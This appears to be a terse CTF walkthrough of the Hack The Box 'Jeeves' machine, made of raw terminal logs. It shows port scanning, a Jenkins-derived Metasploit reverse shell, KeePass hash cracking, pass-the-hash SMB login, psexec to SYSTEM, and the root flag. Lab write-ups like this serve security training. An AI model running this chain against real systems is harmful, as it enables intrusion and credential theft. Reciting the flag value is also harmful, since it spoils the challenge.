Kurzes Video Walkthrough ohne Erklärungen

5jenkins

root@kali:~/htb/jeeves# nmap -p- 10.10.10.63 [19/19]
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-17 19:02 CEST
Nmap scan report for 10.10.10.63
Host is up (0.078s latency).
Not shown: 65531 filtered ports
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
50000/tcp open ibm-db2

Nmap done: 1 IP address (1 host up) scanned in 372.85 seconds
root@kali:~/htb/jeeves# nmap -p80,135,445,50000 -A 10.10.10.63
Starting Nmap 7.70 ( https://nmap.org ) at 2018-05-17 19:10 CEST
Nmap scan report for 10.10.10.63
Host is up (0.11s latency).

PORT STATE SERVICE VERSION
80/tcp filtered http
135/tcp open msrpc Microsoft Windows RPC
445/tcp filtered microsoft-ds
50000/tcp open http Jetty 9.4.z-SNAPSHOT
|_http-server-header: Jetty(9.4.z-SNAPSHOT)
|_http-title: Error 404 Not Found
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2008 (89%), FreeBSD 6.X (85%)
OS CPE: cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:freebsd:freebsd:6.2
Aggressive OS guesses: Microsoft Windows Server 2008 R2 (89%), FreeBSD 6.2-RELEASE (85%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 135/tcp)
HOP RTT ADDRESS
1 65.52 ms 10.10.14.1
2 273.84 ms 10.10.10.63

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.89 seconds

root@kali:~/htb/jeeves# gobuster -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt -t 50 -u http://10.10.10.63:50000

Gobuster v1.4.1 OJ Reeves (@TheColonial)

=====================================================
[+] Mode : dir
[+] Url/Domain : http://10.10.10.63:50000/
[+] Threads : 50
[+] Wordlist : /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
[+] Status codes : 200,204,301,302,307

/askjeeves (Status: 302)

1jenkins

2jenkins

3jenkins

msf > use exploit/multi/handler
msf exploit(multi/handler) > set lhost 10.10.14.206
lhost => 10.10.14.206
msf exploit(multi/handler) > set lport 44544
lport => 44544
msf exploit(multi/handler) > set payload windows/x64/shell/reverse_tcp
payload => windows/x64/shell/reverse_tcp
msf exploit(multi/handler) > clear
[*] exec: clear

msf exploit(multi/handler) > exploit

[] Started reverse TCP handler on 10.10.14.206:44544
[
] Sending stage (336 bytes) to 10.10.10.63
[*] Command shell session 5 opened (10.10.14.206:44544 -> 10.10.10.63:49694) at 2018-05-17 20:21:01 +0200

Microsoft Windows [Version 10.0.10586]
(c) 2015 Microsoft Corporation. All rights reserved.

C:\Users\Administrator.jenkins>More?
More?

‘PuGroj’ is not recognized as an internal or external command,
operable program or batch file.

C:\Users\Administrator.jenkins>^Z
Background session 5? [y/N] y
msf exploit(multi/handler) > sessions -u 5
[*] Executing ‘post/multi/manage/shell_to_meterpreter’ on session(s): [5]

[] Upgrading session ID: 5
[
] Starting exploit/multi/handler
[] Started reverse TCP handler on 10.10.14.206:4433
#<Thread:0x000056306eca6008@/usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:93 run> terminated with exception (report_on_exception is true):
Traceback (most recent call last):
1: from /usr/share/metasploit-framework/lib/msf/core/thread_manager.rb💯in block in spawn' /usr/share/metasploit-framework/modules/post/multi/manage/shell_to_meterpreter.rb:268:in block in cleanup_handler’: uninitialized constant Msf::Modules::Mod706f73742f6d756c74692f6d616e6167652f7368656c6c5f746f5f
6d65746572707265746572::MetasploitModule::HANDLE_TIMEOUT (NameError)
msf exploit(multi/handler) >
[
] Sending stage (179779 bytes) to 10.10.10.63
[] Meterpreter session 6 opened (10.10.14.206:4433 -> 10.10.10.63:49695) at 2018-05-17 20:21:31 +0200
Interrupt: use the ’exit’ command to quit
msf exploit(multi/handler) > sessions -i 6
[
] Starting interaction with 6…

meterpreter > getuid
Server username: JEEVES\kohsuke

meterpreter > cd C:/Users/kohsuke
meterpreter > ls
Listing: C:\Users\kohsuke

Mode Size Type Last modified Name


40777/rwxrwxrwx 0 dir 2017-11-04 03:51:45 +0100 .groovy
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 AppData
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 Application Data
40555/r-xr-xr-x 0 dir 2017-11-04 04:15:51 +0100 Contacts
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 Cookies
40555/r-xr-xr-x 0 dir 2017-11-04 04:19:59 +0100 Desktop
40555/r-xr-xr-x 4096 dir 2017-11-04 04:18:57 +0100 Documents
40555/r-xr-xr-x 0 dir 2017-11-04 04:15:51 +0100 Downloads
40555/r-xr-xr-x 0 dir 2017-11-04 04:15:51 +0100 Favorites
40555/r-xr-xr-x 0 dir 2017-11-04 04:22:42 +0100 Links
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 Local Settings
40555/r-xr-xr-x 0 dir 2017-11-04 04:15:51 +0100 Music
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 My Documents
100666/rw-rw-rw- 786432 fil 2017-12-24 20:38:40 +0100 NTUSER.DAT
100666/rw-rw-rw- 65536 fil 2017-11-04 03:50:41 +0100 NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TM.blf
100666/rw-rw-rw- 524288 fil 2017-11-04 03:50:41 +0100 NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000001.regtrans-ms
100666/rw-rw-rw- 524288 fil 2017-11-04 03:50:41 +0100 NTUSER.DAT{62e13464-7ee5-11e5-80c4-a4badb40df56}.TMContainer00000000000000000002.regtrans-ms
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 NetHood
40555/r-xr-xr-x 0 dir 2017-11-04 04:22:42 +0100 OneDrive
40555/r-xr-xr-x 0 dir 2017-11-04 08:10:02 +0100 Pictures
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 PrintHood
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 Recent
40555/r-xr-xr-x 0 dir 2017-11-04 04:15:51 +0100 Saved Games
40555/r-xr-xr-x 4096 dir 2017-11-04 04:16:35 +0100 Searches
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 SendTo
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 Start Menu
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 Templates
40555/r-xr-xr-x 0 dir 2017-11-04 04:15:51 +0100 Videos
100666/rw-rw-rw- 81920 fil 2017-11-04 03:50:40 +0100 ntuser.dat.LOG1
100666/rw-rw-rw- 163840 fil 2017-11-04 03:50:40 +0100 ntuser.dat.LOG2
100666/rw-rw-rw- 20 fil 2017-11-04 03:50:40 +0100 ntuser.ini

meterpreter > cd Desktop
meterpreter > ls
Listing: C:\Users\kohsuke\Desktop

Mode Size Type Last modified Name


100666/rw-rw-rw- 282 fil 2017-11-04 04:15:51 +0100 desktop.ini
100444/r–r–r– 32 fil 2017-11-04 04:22:51 +0100 user.txt

meterpreter > cd ..
meterpreter > cd Documents

meterpreter > ls
Listing: C:\Users\kohsuke\Documents

Mode Size Type Last modified Name


100666/rw-rw-rw- 2846 fil 2017-09-18 19:43:17 +0200 CEH.kdbx
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 My Music
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 My Pictures
40777/rwxrwxrwx 0 dir 2017-11-04 03:50:40 +0100 My Videos
100666/rw-rw-rw- 402 fil 2017-11-04 04:15:51 +0100 desktop.ini

meterpreter > download CEH.kdbx
[] Downloading: CEH.kdbx -> CEH.kdbx
[
] Downloaded 2.78 KiB of 2.78 KiB (100.0%): CEH.kdbx -> CEH.kdbx
[*] download : CEH.kdbx -> CEH.kdbx

root@kali:/htb/jeeves# ls
CEH.kdbx
root@kali:
/htb/jeeves# keepass2john CEH.kdbx > hash
root@kali:/htb/jeeves# john –format=KeePass –wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (KeePass [SHA256 AES 32/64 OpenSSL])
Press ‘q’ or Ctrl-C to abort, almost any other key for status
moonshine1 (CEH)
1g 0:00:00:52 DONE (2018-05-17 20:25) 0.01922g/s 1057p/s 1057c/s 1057C/s moonshine1
Use the “–show” option to display all of the cracked passwords reliably
Session completed
root@kali:
/htb/jeeves# keepass2 CEH.kdbx

4jenkins

root@kali:~/htb/jeeves# smbclient.py administrator@10.10.10.63 -hashes aad3b435b51404eeaad3b435b51404ee:e0fb1fb85756c24235ff238cbe81fe00
Impacket v0.9.17-dev - Copyright 2002-2018 Core Security Technologies

Type help for list of commands

help

open {host,port=445} - opens a SMB connection against the target host/port
login {domain/username,passwd} - logs into the current SMB connection, no parameters for NULL connection. If no password specified, it’ll be prompted
kerberos_login {domain/username,passwd} - logs into the current SMB connection using Kerberos. If no password specified, it’ll be prompted. Use the DNS resolvable domain name
login_hash {domain/username,lmhash:nthash} - logs into the current SMB connection using the password hashes
logoff - logs off
shares - list available shares
use {sharename} - connect to an specific share
cd {path} - changes the current directory to {path}
lcd {path} - changes the current local directory to {path}
pwd - shows current remote directory
password - changes the user password, the new password will be prompted for input
ls {wildcard} - lists all the files in the current directory
rm {file} - removes the selected file
mkdir {dirname} - creates the directory under the current path
rmdir {dirname} - removes the directory under the current path
put {filename} - uploads the filename into the current path
get {filename} - downloads the filename from the current path
info - returns NetrServerInfo main results
who - returns the sessions currently connected at the target host (admin required)
close - closes the current SMB Session
exit - terminates the server process (and this session)

who

host: \10.10.14.229, user: ADMINISTRATOR, active: 30, idle: 26
host: \10.10.14.229, user: ADMINISTRATOR, active: 28, idle: 28
host: \10.10.14.206, user: administrator, active: 21, idle: 0

password

New Password:

msf > use exploit/windows/smb/psexec
msf exploit(windows/smb/psexec) > show options

Module options (exploit/windows/smb/psexec):

Name Current Setting Required Description


RHOST yes The target address
RPORT 445 yes The SMB service port (TCP)
SERVICE_DESCRIPTION no Service description to to be used on target for pretty listing
SERVICE_DISPLAY_NAME no The service display name
SERVICE_NAME no The service name
SHARE ADMIN$ yes The share to connect to, can be an admin share (ADMIN$,C$,…) or a normal read/write folder share
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as

Exploit target:

Id Name


0 Automatic

msf exploit(windows/smb/psexec) > set RHOST 10.10.10.63
RHOST => 10.10.10.63
msf exploit(windows/smb/psexec) > set smbpass 123456
smbpass => 123456
msf exploit(windows/smb/psexec) > set smbuser administrator
smbuser => administrator
msf exploit(windows/smb/psexec) > exploit

[] Started reverse TCP handler on 10.10.14.206:4444
[
] 10.10.10.63:445 - Connecting to the server…
[] 10.10.10.63:445 - Authenticating to 10.10.10.63:445 as user ‘administrator’…
[
] 10.10.10.63:445 - Selecting PowerShell target
[] 10.10.10.63:445 - Executing the payload…
[+] 10.10.10.63:445 - Service start timed out, OK if running a command or non-service executable…
[
] Sending stage (179779 bytes) to 10.10.10.63
[*] Meterpreter session 1 opened (10.10.14.206:4444 -> 10.10.10.63:49672) at 2018-05-17 21:14:07 +0200

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > cd C:/Users/Administrator/Desktop
meterpreter > ls
[-] Unknown command: ls.
meterpreter > ls
Listing: C:\Users\Administrator\Desktop

Mode Size Type Last modified Name


100666/rw-rw-rw- 797 fil 2017-11-08 15:05:18 +0100 Windows 10 Update Assistant.lnk
100666/rw-rw-rw- 282 fil 2017-11-04 03:03:17 +0100 desktop.ini
100444/r–r–r– 36 fil 2017-12-24 08:51:10 +0100 hm.txt

meterpreter > cat hm.txt
The flag is elsewhere. Look deeper.

C:\Users\Administrator\Desktop>more < hm.txt:root.txt
more < hm.txt:root.txt
afbc5bd4b615a60648cec41c6ac92530